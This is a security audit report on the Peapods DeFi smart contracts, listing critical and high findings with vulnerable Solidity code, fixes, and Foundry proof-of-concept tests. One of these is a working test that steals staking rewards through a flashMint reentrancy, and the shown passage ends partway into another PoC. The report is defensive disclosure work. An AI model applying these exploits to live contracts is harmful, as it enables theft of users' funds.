Peapods Security Review

Pashov Audit Group

Conducted by: Said, Juan, saksham, pontifex

November 16th 2024 - December 13th 2024

Contents

1. About Pashov Audit Group

Pashov Audit Group consists of multiple teams of some of the best smart contract security researchers in the space. Having a combined reported security vulnerabilities count of over 1000, the group strives to create the absolute very best audit journey possible - although 100% security can never be guaranteed, we do guarantee the best efforts of our experienced researchers for your blockchain protocol. Check our previous work here or reach out on Twitter @pashovkrum.

2. Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource and expertise bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any problems with your smart contracts. Subsequent security reviews, bug bounty programs and on-chain monitoring are strongly recommended.

3. Introduction

A time-boxed security review of the **peapodsfinance/contracts** and **peapodsfinance/fraxlend** repository was done by **Pashov Audit Group**, with a focus on the security aspects of the application's smart contracts implementation.

4. About Peapods

Peapods is utilizing Volatility Farming concept - generating yield from crypto price fluctuations and arbitrage activities. Pods are fully collateralized vaults that wrap assets into pTKN tokens, creating price deviations between pTKN and TKN, which present arbitrage opportunities for market participants. Incentivized liquidity pools for each vault ensure sufficient tradeability, distribute a portion of revenue to participants, and perpetually reward liquidity providers with PEAS tokens.

5. Risk Classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

5.1. Impact

- High - leads to a significant material loss of assets in the protocol or significantly harms a group of users.
- Medium - only a small amount of funds can be lost (such as leakage of value) or a core functionality of the protocol is affected.
- Low - can lead to any kind of unexpected behavior with some of the protocol's functionalities that's not so critical.

5.2. Likelihood

- High - attack path is possible with reasonable assumptions that mimic on-chain conditions, and the cost of the attack is relatively low compared to the amount of funds that can be stolen or lost.
- Medium - only a conditionally incentivized attack vector, but still relatively likely.
- Low - has too many or too unlikely assumptions or requires a significant stake by the attacker with little or no incentive.

5.3. Action required for severity levels

- Critical - Must fix as soon as possible (if already deployed)
- High - Must fix (before deployment if not already deployed)
- Medium - Should fix
- Low - Could fix

6. Security Assessment Summary

review commit hashes

- dccf7ce1df4cff8c3800ffb284afe644813e128f
- b6447b1e9d2a0154a61332a80e538b6a72a7d021

fixes review commit hashes

- 53ac7647c3b64fc8a757145de68ee677510009f5
- 0e6aac7e30f0bc407ed25aa25fe243246b9286ed

Scope

The following smart contracts were in scope of the audit:

```
- TokenBridge
- TokenRouter
- AerodromeDexAdapter
- CamelotDexAdapter
- UniswapDexAdapter
- BalancerFlashSource
- FlashSourceBase
- PodFlashSource
- UniswapV3FlashSource
- AerodromeCommands
- BokkyPooBahsDateTimeLibrary
- FullMath
- PoolAddress
- PoolAddressAlgebra
- PoolAddressKimMode
- PoolAddressSlipstream
- TickMath
- VaultAccount
- LeverageManager
- LeverageManagerAccessControl
- LeveragePositionCustodian
- LeveragePositions
- ChainlinkSinglePriceOracle
- DIAOracleV2SinglePriceOracle
- UniswapV3SinglePriceOracle
- V2ReservesCamelot
- V2ReservesUniswap
- aspTKNMinimalOracle
- spTKNMinimalOracle
- V3TwapAerodromeUtilities
- V3TwapCamelotUtilities
- V3TwapKimUtilities
```

```
- V3TwapUtilities
- ConversionFactorPTKN
- ConversionFactorSPTKN
- VotingPool
- AutoCompoundingPodLp
- AutoCompoundingPodLpFactory
- BulkPodYieldProcess
- DecentralizedIndex
- ERC20Bridgeable
- IndexManager
- IndexUtils
- LendingAssetVault
- LendingAssetVaultFactory
- PEAS
- ProtocolFeeRouter
- ProtocolFees
- RewardsWhitelist
- StakingPoolToken
- TokenRewards
- V3Locker
- WeightedIndex
- Zapper
```

7. Executive Summary

Over the course of the security review, Said, Juan, saksham, pontifex engaged with Peapods to review Peapods. In this period of time a total of **42** issues were uncovered.

Protocol Summary

Protocol Name	Peapods
Repository	https://github.com/peapodsfinance/contracts
Date	November 16th 2024 - December 13th 2024
Protocol Type	Volatility Farming

Findings Count

Severity	Amount
Critical	5
High	7
Medium	13
Low	17
Total Findings	**42**

Summary of Findings

ID	Title	Severity	Status
[C-01]	Using spot price can cause a price manipulation attack	Critical	Resolved
[C-02]	For self-lending pairs rewards will be stuck	Critical	Resolved
[C-03]	_removeLeverage uses an incorrect amount when redeeming lending pair shares	Critical	Resolved
[C-04]	Attacker can steal Staking reward	Critical	Resolved
[C-05]	removeLeverage will attempt to send the wrong token to the user	Critical	Resolved
[H-01]	Flawed risk allocation mechanism in Metavault	High	Resolved
[H-02]	Fees in the AutoCompoundingPodLp can be lost	High	Resolved
[H-03]	Freezing the deposit in MetaVault indefinitely	High	Resolved
[H-04]	An attacker can massively inflate the share value	High	Resolved
[H-05]	_removeLeverage() provides incorrect amounts when swapping pods	High	Resolved
[H-06]	No slippage checks when removing leverage	High	Resolved
[H-07]	Ignoring the fee-on-transfer nature of the pod token	High	Resolved

[M-01]	Incorrect formula for token ratio balancing before adding liquidity	Medium	Resolved
[M-02]	Pairs cannot be deposited when the externalAssetVault has not been set	Medium	Resolved
[M-03]	addInterest() does not obtain the currentRateInfo from storage	Medium	Resolved
[M-04]	withdraw/redeem does not calculate the assets received	Medium	Resolved
[M-05]	The price would be accepted even with bad price from DIA Oracle	Medium	Resolved
[M-06]	LeverageManager will not work with a selfLendingPod that consists of multiple tokens	Medium	Acknowledged
[M-07]	_pairedLpTokenToPodLp does not consider the pod and _pairedLpToken	Medium	Resolved
[M-08]	WeightedIndex creation could always fail if pool is already created	Medium	Resolved
[M-09]	First bond caller could cause DoS	Medium	Resolved
[M-10]	_assetsUtilized is obtained without calling whitelistUpdate()	Medium	Resolved
[M-11]	Observe might fail for newly created pools	Medium	Acknowledged
[M-12]	whitelistUpdate() not called on several operations	Medium	Resolved
[M-13]	vaultUtilization is updated incorrectly	Medium	Resolved
[L-01]	Improper access control in IndexManager.setAuthorized	Low	Resolved
[L-02]	Bad debt in self-lending pairs cause more positions to be immediately	Low	Acknowledged

	liquidatable		
[L-03]	Price from Chainlink via DIA Oracle might be stale	Low	Resolved
[L-04]	Incorrect shares if token is non-18 decimal	Low	Resolved
[L-05]	AutoCompoundingPodLp operations prone to sandwich attack	Low	Acknowledged
[L-06]	Using outdated SafeERC20 library	Low	Acknowledged
[L-07]	Lack of update on behalf functionality in VotingPool	Low	Acknowledged
[L-08]	UniswapV3 pool might not necessarily support 1% fee tier	Low	Acknowledged
[L-09]	previewMint() rounding direction is incorrect	Low	Resolved
[L-10]	Some view functions do not consider accrued interest	Low	Resolved
[L-11]	AutoCompoundingPodLp vault does not follow the EIP4626	Low	Resolved
[L-12]	Missed check of BASE_CONVERSION_DIA_FEED value	Low	Resolved
[L-13]	convertToAssets and convertToShares does not consider bond and debond fee	Low	Resolved
[L-14]	Call _processRewardsToPodLp in setYieldConvEnabled() call	Low	Resolved
[L-15]	Using a fixed slippage variable for all pools	Low	Resolved
[L-16]	selfLendingPod can be any arbitrary contract	Low	Resolved

[L-17]	claimReward() does not trigger process fees	Low	Resolved

8. Findings

8.1. Critical Findings

[C-01] Using spot price can cause a price manipulation attack

Severity

Impact: High

Likelihood: High

Description

In the V3TwapKimUtilities.sol contract, the method _sqrtPriceX96FromPoolAndInterval retrieves the spot price from the pool's global state. This approach is vulnerable to price manipulation, as the spot price can be influenced by malicious actors, leading to potential exploitation.

```
function _sqrtPriceX96FromPoolAndInterval
      (address _poolAddress) internal view returns (uint160 sqrtPriceX96) {
        IAlgebraKimV3Pool _pool = IAlgebraKimV3Pool(_poolAddress);
        // TODO: find and use tickCumulative method
        (sqrtPriceX96,,,,,) = _pool.globalState();
    }
```

Recommendations

To mitigate this risk, it is advisable to use the getTimepoints method from AlgebraBasePluginV1, which can provide a more robust and secure way to obtain price data, reducing the likelihood of manipulation. More details can be found here.

[C-02] For self-lending pairs rewards will be stuck

Severity

Impact: High

Likelihood: High

Description

For self-lending pods, the paired LP token of the pod is a fToken, which is a share of a lending pair.

In the `AutoCompoundingPodLp`, it converts the reward token into the paired LP token. However for self-lending pods, instead of converting to the fToken, it converts to the underlying token since it is a more liquid asset. (With the intention of later depositing the asset into the lending pair to receive the fToken)

```
// if self lending pod, we need to swap for the lending pair borrow token,
// then deposit into the lending pair which is the paired LP token for the pod
if (IS_PAIRED_LENDING_PAIR) {
    _swapOutputTkn = IFraxlendPair(_pairedLpToken).asset();
}
```

This is handled correctly when the rewarded token is the same as the pod's LP rewards token:

```
try DEX_ADAPTER.swapV3Single(
    /* PARAMS */
) returns (uint256 __amountOut) {
    ...
    // if this is a self-lending pod, convert the received borrow token
    // into fTKN shares and use as the output since it's the pod paired LP token
    if (IS_PAIRED_LENDING_PAIR) {
        IERC20(_swapOutputTkn).safeIncreaseAllowance(address
          (_pairedLpToken), _amountOut);
        _amountOut = IFraxlendPair(_pairedLpToken).deposit(_amountOut, address
          (this));
    }
}
```

However when the rewarded token is NOT the same as the pod's LP reward token, the deposit does not occur:

```
address _rewardsToken = pod.lpRewardsToken();
if (_token != _rewardsToken) {
    return _swap
    //(_token, _swapOutputTkn, _amountIn, 0); //@audit only swap occurs to token, not
}
```

As a result, the later swaps within the `_processRewardsToPodLp()` will fail (not revert, due to try-catch) due to having zero balance of the fToken which is the actual paired LP token of the pod.

The underlying token of the fToken will be stuck in the aspTKN contract and cannot be redeemed, so rewards are lost.

Proof of Concept

The PoC requires a large setup with multiple files so I have added it to a gist here

It requires a mainnet RPC url in the `.env` file. `RPC="<insert-url>"`

Recommendations

Within `_tokenToPairedLpToken()`, when `_token != _rewardsToken`, deposit the underlying asset into the lending pair before returning.

[C-03] `_removeLeverage` uses an incorrect amount when redeeming lending pair shares

Severity

Impact: High

Likelihood: High

Description

When users remove or decrease leverage from their positions if the `_pairedAmtReceived` is lower than `_repayAmount`, it will try to get the remaining token from `_userProvidedDebtAmtMax`, or if `_userProvidedDebtAmtMax` is not provided, it will swap the `_podAmtReceived` to repay token until it enough to cover the `_repayAmount`.

```
function _acquireBorrowTokenForRepayment(
        LeverageFlashProps memory _props,
        address _pod,
        address _borrowToken,
        uint256 _repayAmount,
        uint256 _pairedAmtReceived,
        uint256 _podAmtReceived,
        uint256 _userProvidedDebtAmtMax
    ) internal returns (uint256 _podAmtRemaining) {
        _podAmtRemaining = _podAmtReceived;
        uint256 _borrowNeeded = _repayAmount - _pairedAmtReceived;
        uint256 _borrowAmtNeededToSwap = _borrowNeeded;
        if (_userProvidedDebtAmtMax > 0) {
            uint256 _borrowAmtFromUser =

                                 _userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNee
            _borrowAmtNeededToSwap -= _borrowAmtFromUser;
            IERC20(_borrowToken).safeTransferFrom(_props.user, address
              (this), _borrowAmtFromUser);
        }
        // sell pod token into LP for enough borrow token to get enough to repay
        // if self-lending swap for lending pair then redeem for borrow token
        if (_borrowAmtNeededToSwap > 0) {
            if (_isPodSelfLending(_props.positionId)) {
>>>             _podAmtRemaining = _swapPodForBorrowToken(

                                         _pod, positionProps[_props.positionId].lendin
                );
>>>             _podAmtRemaining = IFraxlendPair
  (positionProps[_props.positionId].lendingPair).redeem(
                    _podAmtRemaining, address(this), address(this)
                );
            } else {
                _podAmtRemaining = _swapPodForBorrowToken
                  (_pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap);
            }
        }
    }
```

```
function _swapPodForBorrowToken(
      address_pod,
      address_targetToken,
      uint256_podAmt,
      uint256_targetNeededAmt
    )
        internal
        returns (uint256 _podRemainingAmt)
    {
        IDexAdapter _dexAdapter = IDecentralizedIndex(_pod).DEX_HANDLER();
        uint256 _balBefore = IERC20(_pod).balanceOf(address(this));
        IERC20(_pod).safeIncreaseAllowance(address(_dexAdapter), _podAmt);
        _dexAdapter.swapV2SingleExactOut
          (_pod, _targetToken, _podAmt, _targetNeededAmt, address(this));
        _podRemainingAmt = _podAmt - (_balBefore - IERC20(_pod).balanceOf
          (address(this)));
    }
```

`_acquireBorrowTokenForRepayment` calls `_swapPodForBorrowToken` to swap the pod for `lendingPair`, then redeems the swapped lending pair by calling `redeem`. However, it incorrectly provides `_podAmtRemaining` instead of the received lending pair tokens to the `redeem` function.

Additionally, it unnecessarily updates `_podAmtRemaining` with the returned value of the `redeem` function, causing `_podAmtRemaining` to reflect the redeemed borrow token amount instead of the remaining pod token amount.

As a result, positions with self-lending pods cannot utilize the `_acquireBorrowTokenForRepayment` mechanism to decrease or remove their leverage positions, as the calls will revert due to incorrect amounts being used..

Recommendations

Update the function to the following :

```
function _acquireBorrowTokenForRepayment(
        LeverageFlashProps memory _props,
        address _pod,
        address _borrowToken,
        uint256 _repayAmount,
        uint256 _pairedAmtReceived,
        uint256 _podAmtReceived,
        uint256 _userProvidedDebtAmtMax
    ) internal returns (uint256 _podAmtRemaining) {
        _podAmtRemaining = _podAmtReceived;
        uint256 _borrowNeeded = _repayAmount - _pairedAmtReceived;
        uint256 _borrowAmtNeededToSwap = _borrowNeeded;
        if (_userProvidedDebtAmtMax > 0) {
            uint256 _borrowAmtFromUser =

                                     _userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNee
            _borrowAmtNeededToSwap -= _borrowAmtFromUser;
            IERC20(_borrowToken).safeTransferFrom(_props.user, address
              (this), _borrowAmtFromUser);
        }
        // sell pod token into LP for enough borrow token to get enough to repay
        // if self-lending swap for lending pair then redeem for borrow token
        if (_borrowAmtNeededToSwap > 0) {
            if (_isPodSelfLending(_props.positionId)) {
                _podAmtRemaining = _swapPodForBorrowToken(

                                             _pod, positionProps[_props.positionId].lendin
                );
+               uint256 redeemAmount = IERC20
+ (positionProps[_props.positionId].lendingPair).balanceOf(address(this));
-               _podAmtRemaining = IFraxlendPair
- (positionProps[_props.positionId].lendingPair).redeem(
-                   _podAmtRemaining, address(this), address(this)
-               );
+               IFraxlendPair
+ (positionProps[_props.positionId].lendingPair).redeem(
+                   redeemAmount, address(this), address(this)
+               );
            } else {
                _podAmtRemaining = _swapPodForBorrowToken
                  (_pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap);
            }
        }
    }
```

[C-04] Attacker can steal Staking reward

Severity

Impact: High

Likelihood: High

Description

When `flashMint` is called, it sets `_shortCircuitRewards` to 1, preventing `_processPreSwapFeesAndSwap` from being executed. As a result, the collected fees will neither be swapped nor deposited into the staking pool's `POOL_REWARDS`.

```
function flashMint(
      address_recipient,
      uint256_amount,
      bytescalldata_data
    ) external override lock {
>>>     _shortCircuitRewards = 1;
        uint256 _fee = _amount / 1000;
        _mint(_recipient, _amount);
        IFlashLoanRecipient(_recipient).callback(_data);
        // Make sure the calling user pays fee of 0.1% more than they flash
        // minted to recipient
        _burn(_recipient, _amount);
        // only adjust _totalSupply by fee amt since we didn't add to supply at
        // mint during flash mint
        _totalSupply -= _fee == 0 ? 1 : _fee;
        _burn(_msgSender(), _fee == 0 ? 1 : _fee);
        _shortCircuitRewards = 0;
        emit FlashMint(_msgSender(), _recipient, _amount);
    }
```

```
function _processPreSwapFeesAndSwap() internal {
>>>     if (_shortCircuitRewards == 1) {
            return;
        }
        // SWAP_DELAY = 20;
        bool _passesSwapDelay = block.timestamp > _lastSwap + SWAP_DELAY;
        if (!_passesSwapDelay) {
            return;
        }
        uint256 _bal = balanceOf(address(this));
        if (_bal == 0) {
            return;
        }
        uint256 _lpBal = balanceOf(V2_POOL);
        uint256 _min = block.chainid == 1 ? _lpBal / 1000 : _lpBal / 4000; //
        // 0.1%/0.025% LP bal
        uint256 _max = _lpBal / 100; // 1%
        if (_bal >= _min && _lpBal > 0) {
            _swapping = 1;
            _lastSwap = uint64(block.timestamp);
            uint256 _totalAmt = _bal > _max ? _max : _bal;
            uint256 _partnerAmt;
            if (fees.partner > 0 && config.partner != address
              (0) && !_blacklist[config.partner]) {
                _partnerAmt = (_totalAmt * fees.partner) / DEN;
                super._transfer(address(this), config.partner, _partnerAmt);
            }
            _feeSwap(_totalAmt - _partnerAmt);
            _swapping = 0;
        }
    }
```

An attacker can exploit this by staking their pod's V2 pool tokens into the `StakingPoolToken` within the `flashMint` callback. When a user stakes V2 pool tokens into the `StakingPoolToken`, it updates their share tracking in `POOL_REWARDS`.

```
function _afterTokenTransfer
      (address _from, address _to, uint256 _amount) internal override {
        if (_from != address(0)) {
            TokenRewards(POOL_REWARDS).setShares(_from, _amount, true);
        }
        if (_to != address(0) && _to != address(0xdead)) {
            TokenRewards(POOL_REWARDS).setShares(_to, _amount, false);
        }
    }
```

When `POOL_REWARDS.setShares` is called, it attempts to trigger `_processFeesIfApplicable`. This processes the accumulated fees in the pod, ensuring that new stakers cannot gain immediate profits from previously accumulated fees.

```
function setShares(
        address_wallet,
        uint256_amount,
        bool_sharesRemoving
    ) external override {
        require(_msgSender() == trackingToken, "UNAUTHORIZED");
        _setShares(_wallet, _amount, _sharesRemoving);
    }

    function _setShares
      (address _wallet, uint256 _amount, bool _sharesRemoving) internal {
>>>     _processFeesIfApplicable();
        if (_sharesRemoving) {
            _removeShares(_wallet, _amount);
            emit RemoveShares(_wallet, _amount);
        } else {
            _addShares(_wallet, _amount);
            emit AddShares(_wallet, _amount);
        }
    }
```

However, since `stake` is called within the `flashMint` callback, `_shortCircuitRewards` is set to 1, preventing fees from being swapped and rewards from being deposited into `POOL_REWARDS`.

After the attacker `stake` within the `flashMint` callback and exits the `flashMint` process, they can immediately call `unstake` to trigger `_processFeesIfApplicable` and steal rewards for an immediate profit.

PoC :

Add the following test to `IndexUtils.t.sol` :

```
function test_ReentrancyFlashMint() public {
        // Get a pod to test with
        address podToDup = IStakingPoolToken
        //(0x4D57ad8FB14311e1Fc4b3fcaC62129506FF373b1).indexFund(); // spPDAI
        address newPod = _dupPodAndSeedLp(podToDup, address(0), 0, 0);
        IDecentralizedIndex indexFund = IDecentralizedIndex(newPod);

        // Setup test amounts
        uint256 podTokensToAdd = 1e18;
        uint256 pairedTokensToAdd = 1e18;
        uint256 slippage = 1000; // 100% slippage for test

        // Deal tokens to this contract
        deal(peas, address(this), podTokensToAdd + 1000);
        // attacker balance before
        uint256 peasBefore = IERC20(peas).balanceOf(address(this));
        IERC20(peas).approve(address(indexFund), podTokensToAdd + 1000);
        uint256 podBef = indexFund.balanceOf(address(this));
        indexFund.bond(peas, podTokensToAdd + 1000, 0);
        uint256 pTknToLp = indexFund.balanceOf(address(this)) - podBef - 10;
        deal(indexFund.PAIRED_LP_TOKEN(), address(this), pairedTokensToAdd);

        uint256 initialPairedBalance = IERC20(indexFund.PAIRED_LP_TOKEN
          ()).balanceOf(address(this));

        // Approve tokens
        // IERC20(address(indexFund)).approve(address(indexFund), pTknToLp);
        IERC20(indexFund.PAIRED_LP_TOKEN()).approve(address
          (indexFund), pairedTokensToAdd);

        uint256 lpAmount = indexFund.addLiquidityV2
          (pTknToLp,pairedTokensToAdd,1000,block.timestamp);


        // Get initial staked LP balance
        address stakingPool = indexFund.lpStakingPool();

        // Deal tokens to the indexFund to simulate accumulated reward fees
        deal(address(indexFund), address(indexFund), 100e18);

        // function flashMint
        //(address _recipient, uint256 _amount, bytes calldata _data) external overrid
        bytes memory data = abi.encode(indexFund, stakingPool, lpAmount);
        indexFund.flashMint(address(this), 0, data);

        IStakingPoolToken(stakingPool).unstake(lpAmount);

        address _podV2Pool = IStakingPoolToken(stakingPool).stakingToken();
        IERC20(_podV2Pool).approve(address(indexFund), lpAmount);
        indexFund.removeLiquidityV2(lpAmount,0,0,block.timestamp);
        address[] memory _tokens = new address[](1);
        uint8[] memory _percentages = new uint8[](1);
        indexFund.debond(IERC20(address(indexFund)).balanceOf(address
          (this)),_tokens, _percentages);

        uint256 peasAfter = IERC20(peas).balanceOf(address(this));
        uint256 PairedBalanceAfter = IERC20(indexFund.PAIRED_LP_TOKEN
          ()).balanceOf(address(this));
        console.log("initial peas : ");
        console.log(peasBefore);
        console.log("after peas : ");
        console.log(peasAfter);
        console.log("initial paired : ");
        console.log(initialPairedBalance);
        console.log("after paired : ");
        console.log(PairedBalanceAfter);
    }
```

```
    function callback(bytes calldata data) external {
        (address indexFund, address stakingPool, uint256 lpAmount) = abi.decode
          (data, (address, address, uint256));
        address _podV2Pool = IStakingPoolToken(stakingPool).stakingToken();
        IERC20(_podV2Pool).approve(stakingPool, lpAmount);
        IStakingPoolToken(stakingPool).stake(address(this), lpAmount);
    }
```

Run the test :

```
forge test --match-test test_ReentrancyFlashMint --fork-url
// https://eth-mainnet.alchemyapi.io/v2/API_KEY
```

Log output :

```
Logs:
  initial peas :
  1000000000000001000
  after peas :
  4985331298801815298O

  initial paired :
  1000000000000000000
  after paired :
  990372833280884832
```

Considering that `_processPreSwapFeesAndSwap` will not be triggered until a certain minimum amount of fees has accumulated and a swap delay is applied, it is highly likely that a significant amount of fees will be available in the pod at a given time for an attacker to steal.

Recommendations

Add `lock` modifier to `DecentralizedIndex.processPreSwapFeesAndSwap` to prevent staking within the `flashMint` callback.

```
-    function processPreSwapFeesAndSwap() external override {
+    function processPreSwapFeesAndSwap() external override lock {
        require(_msgSender() == StakingPoolToken(lpStakingPool).POOL_REWARDS
          (), "R");
        _processPreSwapFeesAndSwap();
    }
```

[C-05] `removeLeverage` will attempt to send the wrong token to the user

Severity

Impact: High

Likelihood: High

Description

When `removeLeverage` is called and the position is using the self-lending pod, the `_pairedAmtReceived` obtained from the unstake and remove LP process will be unwrapped from the self-lending pod. The received lending pair's share will then be redeemed to acquire the underlying borrowed token.

```
function _removeLeverage(bytes memory _userData)
        internal
        returns (uint256 _podAmtRemaining, uint256 _borrowAmtRemaining)
    {
        // ...


                LeveragePositionProps memory _posProps = positionProps[_props.positio

        // allowance increases for _borrowAssetAmt prior to flash loaning asset
        IFraxlendPair(_posProps.lendingPair).repayAsset
          (_borrowSharesToRepay, _posProps.custodian);
        LeveragePositionCustodian(_posProps.custodian).removeCollateral(
            _posProps.lendingPair, _collateralAssetRemoveAmt, address(this)
        );
>>>
  (uint256 _podAmtReceived, uint256 _pairedAmtReceived) = _unstakeAndRemoveLP(

                        _props.positionId, _posProps.pod, _collateralAssetRemoveAmt,
        );
        _podAmtRemaining = _podAmtReceived;

        // redeem borrow asset from lending pair for self lending positions
        if (_isPodSelfLending(_props.positionId)) {
            // unwrap from self lending pod for lending pair asset
            if (_posProps.selfLendingPod != address(0)) {
>>>             _pairedAmtReceived = _debondFromSelfLendingPod
  (_posProps.selfLendingPod, _pairedAmtReceived);
            }

>>>         IFraxlendPair(_posProps.lendingPair).redeem
  (_pairedAmtReceived, address(this), address(this));
>>>         _pairedAmtReceived = IERC20(_d.token).balanceOf(address(this));
        }

        // ...
    }
```

However, it will try to send `PAIRED_LP_TOKEN` of the pod to the user, instead of the underlying borrow token, this assumes `PAIRED_LP_TOKEN` equal to the borrowed token, which is not the case when using a self-lending pod.

```
function callback(bytes memory _userData) external override workflow
      (false) {
        IFlashLoanSource.FlashData memory _d = abi.decode(_userData,
          (IFlashLoanSource.FlashData));
        (LeverageFlashProps memory _posProps,) = abi.decode(_d.data,
          (LeverageFlashProps, bytes));
        address _pod = positionProps[_posProps.positionId].pod;

        require(_getFlashSource(_posProps.positionId) == _msgSender(), "AUTH");

        if (_posProps.method == FlashCallbackMethod.ADD) {
            uint256 _ptknRefundAmt = _addLeverage(_userData);
            if (_ptknRefundAmt > 0) {
                IERC20(_pod).safeTransfer(_posProps.user, _ptknRefundAmt);
            }
        } else if (_posProps.method == FlashCallbackMethod.REMOVE) {
            (uint256 _ptknToUserAmt, uint256 _pairedLpToUser) = _removeLeverage
              (_userData);
            if (_ptknToUserAmt > 0) {
                // if there's a close fee send returned pod tokens for fee to
                // protocol
                if (closeFeePerc > 0) {
                    uint256 _closeFeeAmt =
                      (_ptknToUserAmt * closeFeePerc) / 1000;
                    IERC20(_pod).safeTransfer(owner(), _closeFeeAmt);
                    _ptknToUserAmt -= _closeFeeAmt;
                }
                // @audit - is user correct here? not owner?
                IERC20(_pod).safeTransfer(_posProps.user, _ptknToUserAmt);
            }
            if (_pairedLpToUser > 0) {
>>>             IERC20(IDecentralizedIndex(_pod).PAIRED_LP_TOKEN
  ()).safeTransfer(_posProps.user, _pairedLpToUser);
            }
        } else {
            require(false, "NI");
        }
    }
```

This will cause the call to revert, preventing users with positions using self-lending pod from closing their positions.

Recommendations

Transfer the borrow token instead of `PAIRED_LP_TOKEN`

```
} else if (_posProps.method == FlashCallbackMethod.REMOVE) {
            (uint256 _ptknToUserAmt, uint256 _pairedLpToUser) = _removeLeverage
              (_userData);
            if (_ptknToUserAmt > 0) {
                // if there's a close fee send returned pod tokens for fee to
                // protocol
                if (closeFeePerc > 0) {
                    uint256 _closeFeeAmt =
                      (_ptknToUserAmt * closeFeePerc) / 1000;
                    IERC20(_pod).safeTransfer(owner(), _closeFeeAmt);
                    _ptknToUserAmt -= _closeFeeAmt;
                }
                // @audit - is user correct here? not owner?
                IERC20(_pod).safeTransfer(_posProps.user, _ptknToUserAmt);
            }
            if (_pairedLpToUser > 0) {
-                IERC20(IDecentralizedIndex(_pod).PAIRED_LP_TOKEN
- ()).safeTransfer(_posProps.user, _pairedLpToUser);
+                IERC20(_getBorrowTknForPod(_posProps.positionId)).safeTransfer
+ (_posProps.user, _pairedLpToUser);
            }
        }
```

8.2. High Findings

[H-01] Flawed risk allocation mechanism in Metavault

Severity

Impact: High

Likelihood: Medium

Description

The Metavault (LendingAssetVault) implements a max allocation mechanism for each lending vault that it supplies to. This is to ensure that in a situation where a lending vault is compromised, the maximum loss is well-defined and limited.

However, due to a flaw in this mechanism, a compromised lending vault can steal ALL of the funds in the metavault, exceeding the maximum allocation that was set.

The max risk allocation mechanism works by ensuring that `vaultUtilization[_vault]` cannot exceed `vaultMaxAllocation[_vault]`

However, `vaultUtilization[_vault]` varies depending on the share/asset ratio of the vault. This means that if a large amount of bad debt occurs in a pool (which lowers the value of the lending pair's shares), then the `vaultUtilization[_vault]` decreases, allowing the vault to pull more funds from the Metavault.

This allows the total funds pulled from the vault to exceed `vaultMaxAllocation[_vault]`, even though this is not reflected in `vaultUtilization[_vault]`.

Recommendations

It is recommended to update `vaultUtilization[_vault]` based on the number of tokens provided to the vault, instead of varying it by the value of the lending vault's shares.

[H-02] Fees in the AutoCompoundingPodLp can be lost

Severity

Impact: Medium

Likelihood: High

Description

In the `AutoCompoundingPodLp`, when rewards are being processed, a protocol fee is taken:

```
uint256 _pairedFee = (_pairedOut * protocolFee) / 1000;
if (_pairedFee > 0) {
    _protocolFees += _pairedFee;
    _pairedOut -= _pairedFee;
}
```

The fee tokens are not sent out of the contract, they are stored in the contract. However, this means that when the rewarded token is the paired LP token, these fees will be autocompounded to the users, since the reward amount is calculated by checking the contract's balance:

```
address _token = _i == _tokens.length ? pod.lpRewardsToken() : _tokens[_i];
uint256 _bal = IERC20(_token).balanceOf(address(this));
if (_bal == 0) {
    continue;
}
uint256 _newLp = _tokenToPodLp(_token, _bal, 0, _deadline);
_lpAmtOut += _newLp;
```

Recommendations

It is recommended to transfer the protocol fees to a fee recipient address to prevent them from being later converted into staked LP tokens.

[H-03] Freezing the deposit in MetaVault indefinitely

Severity

Impact: High

Likelihood: Medium

Description:

Consider the following -->

1.) Victim has deposited into the LendingAssetVault.sol (what we call the Meta Vault), let's say when the victim deposited the

block.number = 50 i.e. `_lastDeposit[victim] = 50`

2.) Now at block 80 the victim wants to withdraw, he calls the withdraw function providing the assets he wants to withdraw.

3.) The attacker sees this tx in the mempool, frontruns the withdraw call of the victim and calls the deposit function with just 1 wei of assets,

(or the minimum amount required so that the shares are non-zero) and sets the victim's address as the receiver address -->

```
function deposit(uint256 _assets, address _receiver) external override returns
  (uint256 _shares) {
        _updateInterestAndMdInAllVaults(address(0));
        _shares = convertToShares(_assets);
        _deposit(_assets, _shares, _receiver);
    }
```

this would update the victim's `_lastDeposit[victim]` to 80 here -->

```
function _deposit
  (uint256 _assets, uint256 _shares, address _receiver) internal {
        require(_assets != 0 && _shares != 0, "M");
        _totalAssets += _assets;
        _lastDeposit[_receiver] = block.number; <-- here
        _mint(_receiver, _shares);
        IERC20(_asset).safeTransferFrom(_msgSender(), address(this), _assets);
        emit Deposit(_msgSender(), _receiver, _assets, _shares);
    }
```

4.) Now when the victim's withdraw tx executes it would revert due to this check in the `_withdraw` call -->

```
require(!_lastDepEnabled || block.number > _lastDeposit[_owner],
"MIN");
```

L178 of LendingAssetVault.sol

Therefore, as long as the attacker performs this frontrunning the victim can not withdraw his assets back from the vault which would mean a permanent freeze of those assets.

Recommendation

We recommend that it should not be allowed to deposit on someone else's behalf.

[H-04] An attacker can massively inflate the share value

Severity

Impact: High

Likelihood: Medium

Description

Since the total assets/shares are tracked via an internal storage variable, a traditional vault inflation attack cannot occur in the Fraxlend pairs. However, by exploiting the rounding directions when minting/burning shares, an attacker can exponentially inflate the value of a single share, allowing them to steal 100% of the first deposit from the first depositor, and DoS that lending pair from proper usage in the future.

Note that while this exists in Fraxlend, it can't be exploited since all the lending pairs have already been deposited into it. The attack works only on newly created pairs, which will occur in the Peapods finance protocol.

Proof of Concept

Add the following test file to a new directory under the `test/` directory. To run the PoC, the fraxlend repo will need to be cloned inside the `contracts` directory, and the following remapping added to the `foundry.toml` file: `"@fraxlend/=contracts/fraxlend/src/contracts/"`

The PoC demonstrates that the first depositor's entire deposit is lost, and obtained by the attacker.

```solidity
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Test} from "forge-std/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {IERC20} from "@openzeppelin/contracts/interfaces/IERC20.sol";

import
   {FraxlendPairDeployer, ConstructorParams} from "@fraxlend/FraxlendPairDeployer.sol"
import {FraxlendWhitelist} from "@fraxlend/FraxlendWhitelist.sol";
import {FraxlendPairRegistry} from "@fraxlend/FraxlendPairRegistry.sol";
import {FraxlendPair} from "@fraxlend/FraxlendPair.sol";
